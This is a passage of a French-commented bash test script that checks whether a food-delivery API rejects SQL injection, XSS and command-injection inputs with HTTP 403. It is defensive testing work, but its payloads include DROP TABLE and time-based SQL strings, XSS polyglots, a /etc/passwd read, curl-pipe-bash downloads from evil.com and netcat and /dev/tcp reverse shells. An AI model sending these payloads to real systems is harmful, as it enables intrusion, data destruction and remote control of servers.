|
||||||
|
|
||||||
print_test "$description"
|
|
||||||
|
|
||||||
if [ -z "$data" ]; then
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
|
||||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
$extra_headers \
|
|
||||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
|
||||||
else
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
|
||||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
$extra_headers \
|
|
||||||
-d "$data" \
|
|
||||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
|
||||||
fi
|
|
||||||
|
|
||||||
http_code=$(echo "$response" | tail -n1)
|
|
||||||
body=$(echo "$response" | sed '$d')
|
|
||||||
|
|
||||||
if [ "$http_code" -eq "$expected_code" ]; then
|
|
||||||
print_success "$description (HTTP $http_code)"
|
|
||||||
else
|
|
||||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
|
||||||
print_response "$body"
|
|
||||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
|
||||||
echo "Response: $body" >> "$LOG_FILE"
|
|
||||||
fi
|
|
||||||
|
|
||||||
sleep 0.5
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fonction pour effectuer une requête HTTP avec token admin
|
|
||||||
http_test_admin() {
|
|
||||||
local method=$1
|
|
||||||
local endpoint=$2
|
|
||||||
local data=$3
|
|
||||||
local expected_code=$4
|
|
||||||
local description=$5
|
|
||||||
local extra_headers=$6
|
|
||||||
|
|
||||||
print_test "$description"
|
|
||||||
|
|
||||||
if [ -z "$data" ]; then
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
|
||||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
$extra_headers \
|
|
||||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
|
||||||
else
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
|
||||||
-H "Authorization: Bearer $ADMIN_TOKEN" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
$extra_headers \
|
|
||||||
-d "$data" \
|
|
||||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
|
||||||
fi
|
|
||||||
|
|
||||||
http_code=$(echo "$response" | tail -n1)
|
|
||||||
body=$(echo "$response" | sed '$d')
|
|
||||||
|
|
||||||
if [ "$http_code" -eq "$expected_code" ]; then
|
|
||||||
print_success "$description (HTTP $http_code)"
|
|
||||||
echo "$body"
|
|
||||||
else
|
|
||||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
|
||||||
print_response "$body"
|
|
||||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
|
||||||
echo "Response: $body" >> "$LOG_FILE"
|
|
||||||
fi
|
|
||||||
|
|
||||||
sleep 0.5
|
|
||||||
}
|
|
||||||
|
|
||||||
# Fonction pour effectuer une requête HTTP sans authentification
|
|
||||||
http_test_no_auth() {
|
|
||||||
local method=$1
|
|
||||||
local endpoint=$2
|
|
||||||
local data=$3
|
|
||||||
local expected_code=$4
|
|
||||||
local description=$5
|
|
||||||
|
|
||||||
print_test "$description"
|
|
||||||
|
|
||||||
if [ -z "$data" ]; then
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
|
||||||
else
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d "$data" \
|
|
||||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
|
||||||
fi
|
|
||||||
|
|
||||||
http_code=$(echo "$response" | tail -n1)
|
|
||||||
body=$(echo "$response" | sed '$d')
|
|
||||||
|
|
||||||
if [ "$http_code" -eq "$expected_code" ]; then
|
|
||||||
print_success "$description (HTTP $http_code)"
|
|
||||||
else
|
|
||||||
print_fail "$description - Expected: $expected_code, Got: $http_code"
|
|
||||||
print_response "$body"
|
|
||||||
echo "$description - Expected: $expected_code, Got: $http_code" >> "$LOG_FILE"
|
|
||||||
echo "Response: $body" >> "$LOG_FILE"
|
|
||||||
fi
|
|
||||||
|
|
||||||
sleep 0.5
|
|
||||||
}
|
|
||||||
|
|
||||||
# =============================================================================
|
|
||||||
# Authentification
|
|
||||||
# =============================================================================
|
|
||||||
|
|
||||||
authenticate() {
|
|
||||||
print_header "AUTHENTIFICATION"
|
|
||||||
|
|
||||||
# ==================== CLIENT LOGIN ====================
|
|
||||||
print_section "1. Login Client"
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d "{\"username\":\"$CLIENT_USERNAME\",\"password\":\"$CLIENT_PASSWORD\"}" \
|
|
||||||
"${API_BASE_URL}/api/v1/auth/login")
|
|
||||||
|
|
||||||
http_code=$(echo "$response" | tail -n1)
|
|
||||||
body=$(echo "$response" | sed '$d')
|
|
||||||
|
|
||||||
if [ "$http_code" -eq 200 ]; then
|
|
||||||
CLIENT_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
|
||||||
if [ -n "$CLIENT_TOKEN" ]; then
|
|
||||||
print_success "Login Client réussi - Token obtenu"
|
|
||||||
print_info "Token Client: ${CLIENT_TOKEN:0:50}..."
|
|
||||||
else
|
|
||||||
print_fail "Login Client réussi mais token non trouvé"
|
|
||||||
print_response "$body"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
print_fail "Échec du login Client (HTTP $http_code)"
|
|
||||||
print_response "$body"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# ==================== ADMIN LOGIN ====================
|
|
||||||
print_section "2. Login Admin"
|
|
||||||
response=$(curl -s -w "\n%{http_code}" -X POST \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d "{\"username\":\"$ADMIN_USERNAME\",\"password\":\"$ADMIN_PASSWORD\"}" \
|
|
||||||
"${API_BASE_URL}/api/v2/admin/auth/login")
|
|
||||||
|
|
||||||
http_code=$(echo "$response" | tail -n1)
|
|
||||||
body=$(echo "$response" | sed '$d')
|
|
||||||
|
|
||||||
if [ "$http_code" -eq 200 ]; then
|
|
||||||
ADMIN_TOKEN=$(echo "$body" | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)
|
|
||||||
if [ -n "$ADMIN_TOKEN" ]; then
|
|
||||||
print_success "Login Admin réussi - Token obtenu"
|
|
||||||
print_info "Token Admin: ${ADMIN_TOKEN:0:50}..."
|
|
||||||
else
|
|
||||||
print_fail "Login Admin réussi mais token non trouvé"
|
|
||||||
print_response "$body"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
print_fail "Échec du login Admin (HTTP $http_code)"
|
|
||||||
print_response "$body"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# =============================================================================
|
|
||||||
# Tests SQL Injection
|
|
||||||
# =============================================================================
|
|
||||||
|
|
||||||
test_sql_injection() {
|
|
||||||
print_header "TESTS SQL INJECTION"
|
|
||||||
|
|
||||||
print_section "1. SQL Injection - Login"
|
|
||||||
|
|
||||||
# Test 1: SQL Injection classique dans login client
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
|
||||||
403 "SQLi - Login Client OR 1=1"
|
|
||||||
|
|
||||||
# Test 2: SQL Injection dans login admin
|
|
||||||
http_test_no_auth "POST" "/api/v2/admin/auth/login" \
|
|
||||||
'{"username":"admin'\'' OR '\''1'\''='\''1","password":"test"}' \
|
|
||||||
403 "SQLi - Login Admin OR 1=1"
|
|
||||||
|
|
||||||
# Test 3: SQL Injection avec UNION
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' UNION SELECT * FROM users--","password":"test"}' \
|
|
||||||
403 "SQLi - UNION SELECT"
|
|
||||||
|
|
||||||
# Test 4: SQL Injection avec DROP TABLE
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\''; DROP TABLE users;--","password":"test"}' \
|
|
||||||
403 "SQLi - DROP TABLE"
|
|
||||||
|
|
||||||
# Test 5: SQL Injection avec commentaire
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\''--","password":"test"}' \
|
|
||||||
403 "SQLi - Commentaire SQL --"
|
|
||||||
|
|
||||||
print_section "2. SQL Injection - Panier"
|
|
||||||
|
|
||||||
# Test 6: SQL Injection dans name_product
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
|
||||||
403 "SQLi - Panier name_product"
|
|
||||||
|
|
||||||
# Test 7: SQL Injection dans category
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
|
||||||
403 "SQLi - Panier category"
|
|
||||||
|
|
||||||
print_section "3. SQL Injection - Admin"
|
|
||||||
|
|
||||||
# Test 8: SQL Injection dans username pénalité
|
|
||||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
|
||||||
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
|
||||||
403 "SQLi - Username pénalité"
|
|
||||||
|
|
||||||
# Test 9: SQL Injection dans paramètres commandes
|
|
||||||
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
|
||||||
"" \
|
|
||||||
403 "SQLi - Paramètres commandes"
|
|
||||||
|
|
||||||
# Test 10: SQL Injection dans ID commande
|
|
||||||
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
|
||||||
"" \
|
|
||||||
403 "SQLi - ID commande"
|
|
||||||
|
|
||||||
# Test 11: SQL Injection dans username livreur
|
|
||||||
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
|
||||||
"" \
|
|
||||||
403 "SQLi - Username livreur"
|
|
||||||
|
|
||||||
print_section "4. SQL Injection - Commandes Client"
|
|
||||||
|
|
||||||
# Test 12: SQL Injection dans adresse checkout
|
|
||||||
http_test_client "POST" "/api/v1/checkout" \
|
|
||||||
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
|
||||||
403 "SQLi - Adresse checkout"
|
|
||||||
|
|
||||||
# Test 13: SQL Injection nom produit admin
|
|
||||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
|
||||||
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
|
||||||
403 "SQLi - Nom produit admin"
|
|
||||||
|
|
||||||
print_section "5. SQL Injection - Variantes avancées"
|
|
||||||
|
|
||||||
# Test 14: SQL Injection avec AND
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
|
||||||
403 "SQLi - AND condition"
|
|
||||||
|
|
||||||
# Test 15: SQL Injection avec encodage hex
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
|
||||||
403 "SQLi - Encodage hex"
|
|
||||||
|
|
||||||
# Test 16: SQL Injection avec SLEEP (Time-based)
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
|
||||||
403 "SQLi - Time-based SLEEP"
|
|
||||||
|
|
||||||
# Test 17: SQL Injection avec BENCHMARK
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
|
||||||
403 "SQLi - BENCHMARK"
|
|
||||||
|
|
||||||
# Test 18: SQL Injection avec sous-requête
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
|
||||||
403 "SQLi - Sous-requête"
|
|
||||||
}
|
|
||||||
|
|
||||||
# =============================================================================
|
|
||||||
# Tests XSS (Cross-Site Scripting)
|
|
||||||
# =============================================================================
|
|
||||||
|
|
||||||
test_xss() {
|
|
||||||
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
|
||||||
|
|
||||||
print_section "1. XSS - Login"
|
|
||||||
|
|
||||||
# Test 1: XSS basique avec script tag
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
|
||||||
403 "XSS - Script tag basique"
|
|
||||||
|
|
||||||
# Test 2: XSS avec event handler
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - Event handler onerror"
|
|
||||||
|
|
||||||
# Test 3: XSS avec SVG
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - SVG onload"
|
|
||||||
|
|
||||||
print_section "2. XSS - Panier"
|
|
||||||
|
|
||||||
# Test 4: XSS dans name_product
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
|
||||||
403 "XSS - Panier name_product"
|
|
||||||
|
|
||||||
# Test 5: XSS dans category
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
|
||||||
403 "XSS - Panier category"
|
|
||||||
|
|
||||||
print_section "3. XSS - Admin"
|
|
||||||
|
|
||||||
# Test 6: XSS dans raison pénalité
|
|
||||||
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
|
||||||
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
|
||||||
400 "XSS - Raison pénalité"
|
|
||||||
|
|
||||||
# Test 7: XSS dans paramètres commandes
|
|
||||||
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
|
||||||
"" \
|
|
||||||
403 "XSS - Paramètres commandes"
|
|
||||||
|
|
||||||
# Test 8: XSS dans description produit
|
|
||||||
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
|
||||||
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
|
||||||
403 "XSS - Description produit"
|
|
||||||
|
|
||||||
print_section "4. XSS - Commandes Client"
|
|
||||||
|
|
||||||
# Test 9: XSS dans adresse checkout
|
|
||||||
http_test_client "POST" "/api/v1/checkout" \
|
|
||||||
'{"delivery_address":"<script>alert(1)</script>"}' \
|
|
||||||
403 "XSS - Adresse checkout"
|
|
||||||
|
|
||||||
# Test 10: XSS dans commentaire approbation
|
|
||||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
|
||||||
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
|
||||||
403 "XSS - Commentaire approbation"
|
|
||||||
|
|
||||||
# Test 11: XSS dans raison annulation
|
|
||||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
|
||||||
'{"reason":"<script>alert(1)</script>"}' \
|
|
||||||
403 "XSS - Raison annulation"
|
|
||||||
|
|
||||||
print_section "5. XSS - Variantes avancées"
|
|
||||||
|
|
||||||
# Test 12: XSS avec iframe
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - iframe javascript"
|
|
||||||
|
|
||||||
# Test 13: XSS avec body onload
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - body onload"
|
|
||||||
|
|
||||||
# Test 14: XSS avec input autofocus
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - input autofocus"
|
|
||||||
|
|
||||||
# Test 15: XSS avec marquee
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - marquee onstart"
|
|
||||||
|
|
||||||
# Test 16: XSS avec details/summary
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
|
||||||
403 "XSS - details ontoggle"
|
|
||||||
|
|
||||||
# Test 17: XSS avec javascript: protocol
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
|
||||||
403 "XSS - javascript protocol"
|
|
||||||
|
|
||||||
# Test 18: XSS avec data: URI
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
|
||||||
403 "XSS - data URI"
|
|
||||||
|
|
||||||
# Test 19: XSS encodé HTML
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
|
||||||
403 "XSS - Encodage HTML entities"
|
|
||||||
|
|
||||||
# Test 20: XSS avec polyglotte
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
|
||||||
403 "XSS - Polyglotte"
|
|
||||||
}
|
|
||||||
|
|
||||||
# =============================================================================
|
|
||||||
# Tests RCE (Remote Code Execution)
|
|
||||||
# =============================================================================
|
|
||||||
|
|
||||||
test_rce() {
|
|
||||||
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
|
||||||
|
|
||||||
print_section "1. RCE - Command Injection basique"
|
|
||||||
|
|
||||||
# Test 1: Command substitution avec $()
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - Command substitution"
|
|
||||||
|
|
||||||
# Test 2: Command substitution avec backticks
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - Command substitution backticks"
|
|
||||||
|
|
||||||
# Test 3: Pipe command
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - Pipe command"
|
|
||||||
|
|
||||||
# Test 4: Semicolon command chaining
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - Semicolon chaining"
|
|
||||||
|
|
||||||
# Test 5: AND command chaining
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - AND chaining"
|
|
||||||
|
|
||||||
# Test 6: OR command chaining
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - OR chaining"
|
|
||||||
|
|
||||||
print_section "2. RCE - Commandes système dangereuses"
|
|
||||||
|
|
||||||
# Test 7: cat /etc/passwd
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - cat /etc/passwd"
|
|
||||||
|
|
||||||
# Test 8: ls command
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - ls command"
|
|
||||||
|
|
||||||
# Test 9: wget command
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - wget download"
|
|
||||||
|
|
||||||
# Test 10: curl command
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - curl pipe bash"
|
|
||||||
|
|
||||||
# Test 11: nc (netcat) reverse shell
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - netcat reverse shell"
|
|
||||||
|
|
||||||
# Test 12: bash reverse shell
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - bash reverse shell"
|
|
||||||
|
|
||||||
print_section "3. RCE - Dans autres endpoints"
|
|
||||||
|
|
||||||
# Test 13: RCE dans adresse checkout
|
|
||||||
http_test_client "POST" "/api/v1/checkout" \
|
|
||||||
'{"delivery_address":"$(whoami)"}' \
|
|
||||||
403 "RCE - Adresse checkout"
|
|
||||||
|
|
||||||
# Test 14: RCE dans login
|
|
||||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
|
||||||
'{"username":"$(id)","password":"test"}' \
|
|
||||||
403 "RCE - Login username"
|
|
||||||
|
|
||||||
# Test 15: RCE dans commentaire
|
|
||||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
|
||||||
'{"rating":5,"comment":"$(uname -a)"}' \
|
|
||||||
403 "RCE - Commentaire approbation"
|
|
||||||
|
|
||||||
# Test 16: RCE dans raison annulation
|
|
||||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
|
||||||
'{"reason":"$(pwd)"}' \
|
|
||||||
403 "RCE - Raison annulation"
|
|
||||||
|
|
||||||
print_section "4. RCE - Python/Perl/Ruby injection"
|
|
||||||
|
|
||||||
# Test 17: Python code execution
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - Python import os"
|
|
||||||
|
|
||||||
# Test 18: eval() injection
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - eval injection"
|
|
||||||
|
|
||||||
# Test 19: exec() injection
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - exec injection"
|
|
||||||
|
|
||||||
# Test 20: system() call
|
|
||||||
http_test_client "POST" "/api/v1/panier/add" \
|
|
||||||
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
|
||||||
403 "RCE - system call"
|
|
||||||
}
|
|
||||||
|
|
||||||
main() {
|
|
||||||
# Exécution des tests
|
|
||||||
authenticate
|
|
||||||
test_rce
|
|
||||||
test_xss
|
|
||||||
test_sql_injection
|
|
||||||
http_test_no_auth
|
|
||||||
}
|
|
||||||
|
|
||||||
main
|
|
||||||
Reference in New Issue
Block a user